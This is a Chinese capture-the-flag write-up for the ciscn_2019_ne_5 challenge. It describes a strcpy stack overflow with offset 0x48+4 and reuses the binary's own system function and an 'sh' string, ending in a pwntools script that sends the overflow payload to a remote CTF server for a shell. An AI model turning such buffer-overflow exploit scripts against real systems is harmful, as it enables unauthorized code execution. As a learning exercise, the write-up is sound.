当前位置: 首页 > news >正文

PWN手的成长之路-18-ciscn_2019_ne_5-rettext

image

file,checksec:
image

查看 main 函数,发现了有一个 get_flag 函数。
image

查看 get_flag 函数,发现存在溢出。strcpy 函数会复制 src 的数据并赋值给 dest ,这里会造成溢出。
image

且溢出大小为:0x48 + 4 (加 4 是因为此程序是 32 位的)
image

并且在 print 函数中发现了 system 函数。
image

之后尝试查找字符串 /bin/sh,并没有,但是找到了 sh。
image

exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',29109)
elf = ELF('./pwn')
context.log_level = 'debug'#params
sh_addr = 0x80482EA
#system_addr = 0x80484D0
system_addr = elf.sym['system']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
r.sendlineafter(b'password','administrator')
r.sendlineafter(b':',b'1')
r.sendline(payload)
r.sendline(b'4')
r.interactive()
http://www.hskmm.com/?act=detail&tid=32621

相关文章:

  • 技术人不用当“兼职运营”:2025微信编辑器实用指南,让产品更新日志/API教程产出效率提升3倍
  • 站位1
  • ubuntu2204系统ip地址配置
  • 10.16 —— 2021ccpc桂林D,B
  • day 2
  • 日志分析-windows日志分析base
  • 2025/10/16 模拟赛笔记 - sb
  • 课后作业3
  • KMP和Manacher
  • 10月16日日记
  • 日志|二叉树|404左叶子之和|112路径总和|129求根节点到叶子节点数字之和|
  • 第 5 天:C 语言运算符与表达式 —— 数据处理的优秀的工具集
  • mongoDB体验
  • TELUS如何通过Google技术栈实现业务增长与生产力跃升
  • 云服务器上部署 EasyTier中转服务器
  • 问世界
  • 为 .NET 10 GC(DATAS)做准备
  • LLM学习记录DAY3
  • 日总结 13
  • 黄景行电脑软件
  • 开源许可协议 gpl vs mit?
  • 二进制警报器
  • 题解:P8019 [ONTAK2015] OR-XOR
  • DP 思维好题(转载)
  • python sse的是什么?
  • idea代码阿里格式化
  • 万字长文详述单据引擎原理、流程、单据管理 - 智慧园区
  • windows 链接共享打印机出现错误0x00000709?打印机0x0000011b错误?0x0000bcd、0x00000709、0x00000011b
  • 解码Linux文件IO目录检索与文件属性
  • p66实验题